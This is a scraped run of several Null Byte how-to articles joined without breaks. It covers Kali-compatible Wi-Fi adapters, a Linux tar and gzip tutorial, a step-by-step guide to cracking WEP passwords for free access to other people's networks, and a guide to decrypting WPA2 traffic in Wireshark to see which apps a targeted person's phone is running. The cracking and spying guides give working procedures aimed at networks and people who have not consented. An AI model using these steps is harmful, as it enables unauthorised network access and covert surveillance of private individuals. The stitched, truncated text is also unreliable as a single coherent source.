powerful enough to pwn networks without making a big fuss about plugging in large, suspicious network adapters. Consider the g/n PAU05, affectionately nicknamed "El Stubbo" and a personal favorite both for its low profile and its aggressive performance in the short and medium range. Consider this if you need to gather network data without including everything within several blocks.A note on the Panda from one of our readers:The Panda PAUO5 on Amazon won't do packet injection. It seems they now ship with an unsupported chipset (RT5372), so make sure yours has the correct chipset!The PAU05, a super low-profile option that is one of my favorites.Image by SADMIN/Null ByteAdapters That Use the Atheros AR9271 ChipsetThe Alfa AWUS036NHA 2.4 GHz($37.69 on Amazon)The Alfa AWUS036NHA is my current long-range network adapter and the standard by which I judge other long-range adapters. For a long-range application, thispaired with a ridiculously big adapter($9.99) is a stable, fast, and well-supported b/g/n wireless network adapter.The AWUS036NHA, featuring great long-range performance.Image by SADMIN/Null ByteThe TP-LINK TL-WN722N 2.4 GHz($14.99 on Amazon)A favorite for newbies and experienced hackers alike, this compact b/g/n is among the cheapest but boasts surprisingly impressive performance. That being said,only v1 of this adapter will work with Kali Linux. The v2 version of this adapter is a different chipset, so make sure you check to see which yours is!WARNING: Only version ONE of this adapter will work with Kali.Image by SADMIN/Null ByteAdapters That Use the Ralink RT5370N ChipsetThe Detroit DIY Electronics Wifi Antenna For Raspberry Pi($11.99 on Amazon)While I haven't tested this IEEE 802.11n compatible adapter personally, the chipset is supported in Kali and it supports monitor mode. For an extremely compact adapter with an external antenna mount for swapping different types of antennas, the Detroit DIY Electronics Wifi Antenna For Raspberry Pi is a good starter option.Compact option from Detroit Electronics.Image viaDetroit ElectronicsAdapters That Use the Realtek RTL8812AU Chipset (New)The Alfa AWUS036ACH 802.11ac AC1200 Wide-Range USB 3.0 Wireless Adapter with External Antenna($59.99 on Amazon)Newly supported in 2017, the Alfa AWUS036ACH is a beast, with dual antennas and 2.4 GHz 300 Mbps/5 GHz 867 Mbps – 802.11ac and a, b, g, n compatibility. This is the newest offering I've found that's compatible with Kali, so if you're looking for the fastest and longest range, this would be the adapter to start with.To use this, you may need to first run the following.apt updateapt install realtek-rtl88xxau-dkmsThis will install the needed drivers, and you should be good to go.The Alfa AWUS036ACH, ready to hack on 802.11ac.Image viaAlfa WebsiteOther OptionsDuring my research, I also came across the following adapters with supported chipsets, but only anecdotal evidence of packet injection and monitor mode. If you're feeling adventurous, you can pick up one of the following supported adapters mention in the comments how it works for you.TheWiFi Module 4($27.95) by Hard Kernel uses the supported Ralink RT5572 chipset, which adds 5 GHz capabilities, and also works in 2.4 GHz.An ultra-compact option is also theWiFi Module 0($7.95), also by Hard Kernel, based on Ralink RT5370N chipset.Some of the top wireless network adapters for hacking.Image by SADMIN/Null ByteThat completes my roundup of wireless network adapters for hacking in 2019. Got a favorite I didn't list? Leave a comment and link us to it.Don't Miss:How to Select a Field-Tested Kali Linux Compatible Wireless AdapterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Spy on Network Relationships with Airgraph-NgHow To:Hack Wi-Fi Networks with BettercapHow To:Automate Wi-Fi Hacking with Wifite2How To:Extend a (Hacked)Router's Range with a Wireless Adapter.How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Pick an Antenna for Wi-Fi HackingHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyNews:The Best Black Friday 2019 Deals for iPhone & Android ChargersHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Intercept Images from a Security Camera Using WiresharkHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHacking Android:How to Create a Lab for Android Penetration TestingHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Crack Wi-Fi Passwords—For Beginners!How To:Find Saved WiFi Passwords in WindowsHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)News:Secure Your Wireless Network from Pillage and Plunder in 8 Easy Steps
Linux Basics for the Aspiring Hacker: Archiving & Compressing Files « Null Byte :: WonderHowTo
When usingLinux, we often need to installnew software, a script, or numerous large files. To make things easier on us, these files are usually compressed and combined together into a single file with a .tar extension, which makes them easier to download, since it's one smaller file.As a Linux user, we need to understand how to decompress .tar files and extract what is in them. At the same time, we need to understand how to compress and combine these files into a .tar when we need to send files.Those of you who come from the Windows world (most of you), are probably familiar withthe .zip format. The .zip utility built into Windows lets you take several files and combine them into a single folder, then compress that folder to make it smaller for transferring over the internet or removable storage. The process we are addressing here in this tutorial is the equivalent of zipping and unzipping in the Windows world.Previously:Configuring Apache in LinuxWhat Is Compression?Compression is an interesting subject that I will have to expand upon in another tutorial at a later time. Basically, there are at least two categories of compression: lossy and lossless.Lossy compression loses the integrity of the information. In other words, the compressed/decompressed file is not exactly the same as the original. This works great for graphics, video, and audio files where a smaller difference in the file is hardly noticed (.mp3 and .jpg are both lossy compression algorithms).When sending files or software, lossy compression is not acceptable. We must have integrity with the original file when it is decompressed. That's the type of compression we are discussing here (lossless), and it is available from a number of different utilities and algorithms.(More on all of this in a later tutorial.)Step 1: Tarring Files TogetherIn most cases, when archiving or combining files, thetarcommand is used in Linux/Unix. Tar stands fortape archive, a reference to the prehistoric days of computing when systems used tape to store data. Tar is used to create one single file from many files. These files are then often referred to as an archive, tar file, or tarball.For instance, say we had three files, nullbyte1, nullbyte2, and nullbyte3. We can clearly see them below when we do along listing.kali > ls -lLet's say we want to send all three of these files to a friend. We can combine them together and create a single archive file by using the following command:kali > tar -cvf NB.tar nullbyte1 nullbyte2 nullbyte3Let's break down that command to better understand:taris the archiving command-cmeans create-vmeans verbose (optional)-fwrite or read from the following fileNB.taris the new file name we wantThis will take all three files and create a single file, NB.tar, as seen below, when we do another long listing of the directory.Please note the size of the tarball. When the three files are archived, tar uses significant overhead to do so. The sum of the three files before archiving was 72 bytes. After archiving, the tarball has grown to 10,240 bytes. The archiving process has added over 1,000 bytes. Although this overhead can be significant with small files, this overhead becomes less and less significant with larger and larger files.We can then display those files from the tarball by using the tar command, then the-tswitch to display the files, as seen below.kali > -tvf NB.tarWe can then extract those files from the tarball by using the tar command and then the-xswitch to extract the files, as seen above.kali > tar -xvf NB.tarFinally, if we want to extract the files and do so "silently," we can remove the-vswitch, and tar extracts the files without showing us any output.kali > tar -xf NB.tarStep 2: Compressing FilesTar is capable of taking many files and making them into one archived file, but what if want to compress those files, as well? We have three commands in Linux capable of creating compressed files:gzip(.tar.gz or .tgz)bzip2(tar.bz2)compress(.tar.Z)Theyallare capable of compressing our files, but they use different compression algorithms and have different compression ratios (the amount they can compress the files).Using GzipLet's try gzip (GNU zip) first, as it is the most commonly used compression utility in Linux. We can compress our NB.tar file by typing:kali > gzip NB.*Notice that I used the wild card (*) for my file extension meaning that the command should apply to any file that begins with "NB" with any file extension. I will use similar notation for the following examples. When we do a long listing on the directory, we can see that it has changed the file extension to .tar.gz, and the file size has been compressed to just 231 bytes!We can then decompress that same file by using thegunzip(GNU unzip) command.kali > gunzip NB.*When we do, the file is no longer saved with the .tar.gz extension, and has now returned to its original size of 10,240 bytes.Using Bzip2One of the other widely used compression utilities in Linux is bzip2. It works similarly to gzip, but with better compression ratios. We can compress our NB.tar file by typing:kali > bzip2 NB.*As you can see in the screenshot above, bzip2 has compressed the file down to just 222 bytes! Also note that the file extension now is .tar.bz2.To uncompress the compressed file, usebunzip2(b unzip 2).kali > bunzip2 NB.*When we do, the file returns to its original size and its file extension returns to .tar.Using CompressFinally, we can use the commandcompressto compress the file. This is probably the least commonly used compression utility, but it is easy to remember.kali > compress NB.*Note in the screenshot above that the compress utility reduced the size of the file to 395 bytes, almost twice the size of bzip2. Also note that the file extension now is .tar.Z (with a capital Z).To decompress the same file, useuncompressor thegunzipcommand.kali > uncompress NB.*Step 3: Untarring & Uncompressing VMware ToolsNow that we have a basic understanding of these tools, let's use them in a real world example. Many of you, including myself, usingVMware Workstationas a virtualization system. It allows you to run many operating systems on a single physical machine. No one does this better thanVMWare.If you are using VMware Workstation, you probably know that VMware encourages you to download and install itsVMware tools. When you install VMware tools, your guest operating system integrates much better into your host operating system, which includes better graphics performance, drag-and-drop capability, shared folders, and better mouse performance, among other things.Now that we have downloaded VMware tools, you can see that it is a tarball and compressed with gzip. We know this because it has file extension of .tar.gz. So, to decompress it and separate each of the files so that we can use them, we can use the following command:kali > tar -xvzf VMwareTools-.9.6.2-1688356.tar.gzLet's break down that command to better understand:taris the archiving command-xmeans extract-vmeans verbose output-zis used to decompress-fdirects the command to the file that followsWhen we hit enter, the compressed tarball is decompressed and extracted. Hundreds of files are extracted and decompressed from this VMware tarball. Now, we need to only run the script to install these tools.Archiving and compressing are key Linux skills that any hacker/administrator must understand when using Linux. We will continue to explorethe Linux basics in this series, so keep coming back, my aspiring hackers!Next Up:Managing Hard Drives in LinuxFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byMcCarony/Shutterstock; Screenshots by OTW/Null ByteRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)How To:Create a ZIP Archive Using the Files App on Your iPhoneHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:The Essential Skills to Becoming a Master HackerHow To:Linux Basics for the Aspiring Hacker: Configuring ApacheHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)How To:Archive and compress files with 7-zip softwareHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How To:Recover WinRAR and Zip PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:A Guide to Steganography, Part 2: How to Hide Files and Archives in Text or Image FilesCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Recover Deleted Files in LinuxGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Use Cygwin to Run Linux Apps on WindowsGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingNews:First Steps of Compiling a Program in LinuxCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack Them
How to Crack Wi-Fi Passwords—For Beginners! « Null Byte :: WonderHowTo
An internet connection has become a basic necessity in our modern lives. Wireless hotspots (commonly known as Wi-Fi) can be found everywhere!If you have a PC with awireless network card, then you must have seen many networks around you. Sadly, most of these networks are secured with a network security key.Have you ever wanted to use one of these networks? You must have desperately wanted to check your mail when you shifted to your new house. The hardest time in your life is when your internet connection is down.Cracking those Wi-Fi passwords is your answer to temporary internet access. This is a comprehensive guide which will teach even complete beginners how to crack WEP encrypted networks, easily.If it's WPA2-PSK passwords you need to crack, you can useaircrack-ngorcoWPAtty.Table of ContentsHow are wireless networks secured?What you'll needSetting up CommView for Wi-FiSelecting the target network and capturing packetsWaiting...Now the interesting part... CRACKING!Are you a visual learner?Step 1: How Are Wireless Networks Secured?In a secured wireless connection, internet data is sent in the form of encrypted packets. These packets are encrypted with network security keys. If you somehow manage to get hold of the key for a particular wireless network you virtually have access to the wireless internet connection.Broadly speaking, there aretwo main types of encryptions used.WEP (Wired Equivalent Privacy)This is the most basic form of encryption. This has become an unsafe option as it is vulnerable and can be cracked with relative ease. Although this is the case many people still use this encryption.WPA (Wi-Fi Protected Access)This is the more secure alternative. Efficient cracking of the passphrase of such a network requires the use of a wordlist with the common passwords. In other words you use the old-fashioned method of trial and error to gain access. Variations include WPA-2 which is the most secure encryption alternative till date. Although this can also be cracked using a wordlist if the password is common, this is virtually uncrackable with a strong password. That is, unless the WPA PIN is still enabled (as is the default on many routers).Hacking WEP passwords is relatively fast, so we'll focus on how to crack them for this guide. If the only networks around you use WPA passwords, you'll want to follow this guide onhow to crack WPA Wi-Fi passwordsinstead.Step 2: What You'll NeedA compatible wireless adapter:This is by far the biggest requirement.The wireless card of your computer has to be compatible with the software CommVIew. This ensures that the wireless card can go into monitor mode which is essential for capturing packets.Click hereto check if your wireless card is compatibleCommView for Wi-Fi:This software will be used to capture the packets from the desired network adapter.Click hereto download the software from their website.Aircrack-ng GUI:After capturing the packets this software does the actual cracking.Click hereto download the software from their website.A little patience is vital.Step 3: Setting Up CommView for Wi-FiDownload the zip file of CommView for Wi-Fi from the website. Extract the file and run setup.exe to install CommView for Wi-Fi. When CommView opens for the first time it has a driver installation guide. Follow the prompts to install the driver for your wireless card.Run CommView for Wi-Fi.Click the play icon on the top left of the application window.Start scanning for wireless networks.CommView now starts scanning for wireless networks channel by channel. After a few minutes you will have a long list of wireless networks with their security type and signal. Now it is time to choose your target network.Step 4: Selecting the Target Network and Capturing PacketsA few things to keep in mind before choosing the target wireless network:This tutorial is only for WEP encrypted networks, so make sure you select a network with WEP next to its name. If you need to crack a WPA encrypted network, followthis tutorialinstead.Choose a network with the highest signal.Each network will have its details in the right column.Make sure the WEP network you are choosing has the lowest dB (decibel) value.Once you have chosen your target network, select it and clickCaptureto start capturing packets from the desired channel.Now you might notice that packets are being captured from all the networks in the particular channel. To capture packets only from the desired network follow the given steps.Right click the desired network and click on copy MAC Address.Switch to the Rules tab on the top.On the left hand side choose MAC Addresses.Enable MAC Address rules.For 'Action' select 'capture' and for 'Add record' select 'both'.Now paste the mac address copied earlier in the box below.We need to capture only data packets for cracking. So, selectDon the bar at the top of the window and deselectM(Management packets) andC(Control packets).Now you have to save the packets so that they can be cracked later. To do this:Go to the logging tab on top and enable auto saving.Set Maximum Directory Size to 2000.Set Average Log File Size to 20.Step 5: Waiting...Now the boring part- WAITING!NOTE:The amount of time taken to capture enough data packets depends on the signal and the networks usage. The minimum number of packets you should capture should be 100,000 for a decent signal.After you think you have enough packets (at least 100,000 packets), you'll need to export them.Go to the log tab and click on concatenate logs.Select all the logs that have been saved.Do not close CommView for Wi-Fi.Now navigate to the folder where the concatenated logs have been saved.Open the log file.Select File- Export -Wire shark tcpdump format and choose any suitable destination.This will save the logs with a .cap extension to that location.Step 6: Now the Interesting Part... CRACKING!Download Aircrack-ng and extract the zip file.Open the folder and navigate to 'bin'.Run Aircrack-ng GUI.Choose WEP.Open your .cap file that you had saved earlier.Click Launch.In the command prompt type in the index number of your target wireless network.Wait for a while. If everything goes fine, the wireless key will be shown.You may also receive a request to try with more packets. In this case wait until more packets have been captured and repeat the steps to be performed after capturing packets.BEST OF LUCK!Step 7: Are You a Visual Learner?Just in case you didn't understand, you can watch this video walk-through.Please enable JavaScript to watch this video.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3Video:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet!How To:Automate Wi-Fi Hacking with Wifite2How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Recover a Lost WiFi Password from Any DeviceHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Share Any Password from Your iPhone to Other Apple DevicesHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Recover Forgotten Wi-Fi Passwords in WindowsHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Find Saved WiFi Passwords in WindowsHow To:The Easiest Way to Share Your Complicated WiFi Password with Friends & Family—No Typing RequiredHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Carve Saved Passwords Using CainNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:GPU Accelerate Cracking Passwords with HashcatRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:How Hackers Take Your Encrypted Passwords & Crack Them
How to Spy on Traffic from a Smartphone with Wireshark « Null Byte :: WonderHowTo
So you want to know what that person who is always on their phone is up to? If you're on the same Wi-Fi network, it's as simple as openingWiresharkand configuring a few settings. We'll use the tool to decrypt WPA2 network traffic so we can spy on which applications a phone is running in real time.While using an encrypted network is better than using an open one, the advantage disappears if the attacker is on the same network. If someone else knows the password to the Wi-Fi network you are using, it's easy to see what you're doing at that moment using Wireshark. It can allow an attacker to create a list of every app running on the device being targeted and zero in on apps that might be vulnerable.Decrypting Encrypted PacketsWhen you use a Wi-Fi network that uses WPA2 encryption, the security of your session is based on two things. The first is the password that's used to generate a much longer number, a PSK or pre-shared key. The second is the actual handshake itself, which has to happen to establish a connection. If an attacker has the PSK to the Wi-Fi network and either observes you join the network or kicks you off for a moment, they can decrypt your Wi-Fi traffic to see what you're doing.Don't Miss:Detect Script-Kiddie Wi-Fi Jamming with WiresharkThe content of HTTPS websites won't be able to be seen, but any plain HTTP websites you visit or any insecure HTTP requests apps on your phone makes are in plain view. This may not seem like a big deal, but in only 60 seconds, it's easy to learn a lot about the type of device we're monitoring and what exactly is running on it. Also, DNS requests to resolve the domains that apps need to talk to in order to work are easy to see, identifying which apps and services are active.How It WorksTo pull off this attack, a few conditions need to be met. First, we need the password, we need to be in proximity to the victim so we can record traffic, and we need to be able to kick the targeted device off the network or wait for them to reconnect. We'll open Wireshark and access the menu to decrypt Wi-Fi packets, add the PSK to enable decryption, and wait for EAPOL packets from the targeted device connecting to the network.To get a feeling for what the targeted device is up to, we'll be using capture filters to highlight DNS and HTTP packets we're looking for. To see a complete list of every domain the device has resolved, we can also look at a summary of resolved domains after the capture is complete. We can use this information to easily pick apart which services are running, even if they're only running in the background and the app hasn't been running in quite some time.Don't Miss:Intercept Images from a Security Camera Using WiresharkWhat You'll NeedTo do this, you'll need awireless network adapter cardcapable of wireless monitor mode. You can check out our guides onselecting one that's Kali-compatibleand supports monitor mode.More Info:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019Next, you'll need an iOS or Android smartphone connected to the Wi-Fi network you're monitoring. You can practice this on an open Wi-Fi network to see what you're supposed to see, as sometimes decryption may not work the first time. You'll also need to know the password and network name of the Wi-Fi network you want to monitor. This will allow you to calculate the pre-shared key, allowing us to decrypt the traffic in realtime.Step 1: Download Wireshark & Connect to the Wi-Fi NetworkDownload and installWireshark if it's not already installed, and connect to the Wi-Fi network your target is on. If you plan to use a PSK rather than a network key, you should calculate itusing the Wireshark toolbefore doing so, because you may not be able to access the internet during the capture, depending on your card.Once you have Wireshark downloaded, open it, then take a look at your network interfaces. Before we start capturing, we'll need to set a few things up to make sure the card is capturing in the correct mode.Step 2: Set Up Wireshark for CapturingUnder the Wireshark menu option, click on the gear-shaped "Capture options" menu.That will open theCapture Interfaceswindow, as seen below.Step 3: Begin the Network Capture & Scan for EAPOL PacketsIf you're not connected to the network your target is on, then you won't be able to see any packets because you might be on some other random channel. Wireshark can't actually change the channel that the wireless network adapter is on, so if you're not getting anything, that could be why.Step 4: Decrypt Traffic with the Network PSKNow that we have handshakes, we can decrypt the conversation from this point onwards. To do so, we'll need to add the network password or PSK. Go to the "Wireshark" drop-down menu and select the "Preferences" option. Once selected, click on "Protocols."Under Protocols, select "IEEE 802.11," and then click "Enable decryption." To add the network key, click "Edit" next to "Decryption keys" to open the window to add passwords and PSKs.Select "wpa-psk" from the menu, and then paste in your key. HitTab, then save by clicking "OK."Once this is complete, click "OK" on thePreferencesmenu, and Wireshark should rescan all the captured packets and attempt to decrypt them. This may not work for a variety of reasons. I was able to get it to work most of the time by ensuring I had a good handshake (EAPOL) and switching back and forth between using a network password and a PSK. If it works, we can move on to the step of analyzing the traffic to pick out apps in use.Step 5: Scan for DNS & HTTP PacketsNow that we have stripped away the protection around the traffic, Wireshark can decrypt them and tell us what the devices on this Wi-Fi network that we have handshakes for are doing in real time.1. DNS RequestsTo see interesting packets, we'll start with DNS requests. DNS requests are how apps make sure the IP addresses they are supposed to connect to haven't changed. They'll be directed to domain names that usually have the name of the app in them, making it trivial to see which app is running on the iPhone or Android phone and making the requests.Don't Miss:Use Driftnet to See What Kind of Images Your Neighbor Looks AtTo see these requests, we'll be using two capture filters,dnsandhttp, which will show us the most obvious fingerprints that an app leaves over Wi-Fi. First, typednsinto the capture filter bar and hitEnter. If this doesn't work, try switching between a PSK and password a few times. It sucks, but sometimes it will start working.If your target is feeling lonely, you might see the response below. Tinder calls the Tindersparks.com domain, as well as a lot of other services. This request is one of the most obvious.While using Signal is a good idea, using it with a VPN is a better idea. The reason? Even opening Signal creates the exchange below, clearly identifying that the user is communicating with an encrypted messenger.Trying to find that song that's playing with Shazam leaves the following fingerprint.Opening the app to call an Uber creates the requests you see below.Below, we see the effect of opening Venmo, and app for transferring money. It seems like a good time to redirect this request elsewhere.2. HTTP PacketsNext up, we can see there are several insecure web requests by using thehttpcapture filter. These capture filters contain information like the useragent, which will tell us the type of device that is connecting. We can examine this by clicking on the packets and expanding the "Hypertext Transfer Protocol" tab.In this example, we can see insecure HTTP requests to a chat server. What the heck is this? Merely examining the packet and resolving the domain gives us the answer right away. It's WeChat! This phone has WeChat installed, and further, the communications coming out of it are not entirely encrypted.If we want to see everything that was resolved, we can click on the "Statistics" menu tab and select "Resolved Addresses" to see all the domains that were resolved throughout the capture. This should be a laundry list of services the device is connecting to via the apps running on it.This breakdown makes it even easier to see what the target was up to.Wireshark Makes Wi-Fi Networks a Risky Thing to TrustThis kind of monitoring may seem invasive, but you should keep in mind that your internet service provider also keeps a log of this information and has the right to sell the information. If you want to prevent this kind of snooping, you should get a VPN likeMullvadorPIAthat allows you to hide even local traffic behind strong encryption. In a place where you might be doing something sensitive over a data connection, you should also consider using cellular data whenever possible to prevent this kind of attack.I hope you enjoyed this guide to using Wireshark to spy on Wi-Fi traffic! If you have any questions about this tutorial on Wi-Fi decryption, leave a comment below, and feel free to reach me on [email protected]'t Miss:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)How To:Intercept Images from a Security Camera Using WiresharkHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)How To:Securely Sniff Wi-Fi Packets with SniffglueHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)Mac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)How To:Intercept Security Camera Footage Using the New Hak5 Plunder BugHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterNetworking Foundations:Exploring UDP via Wireshark(Part 1)How To:Analyze Wi-Fi Data Captures with Jupyter NotebookHack Like a Pro:How to Create Your Own PRISM-Like Spy ToolAdvice from a Real Hacker:How to Know if You've Been HackedNews:Say Goodbye to Texting & Driving, Thanks to This New App from SamsungHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Use Wireshark to Steal Your Own Local PasswordsNews:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsHow To:Get Free Wi-Fi from Hotels & MoreHow To:Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI ModelNews:Network Admin? You Might Become a Criminal SoonHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Play Spy!News:House Approves Amendment To Limit Pentagon Drones Spying On AmericansHack Like a Pro:Creating Your Own Prism Program
Hacking Windows 10: How to Intercept & Decrypt Windows Passwords on a Local Network « Null Byte :: WonderHowTo
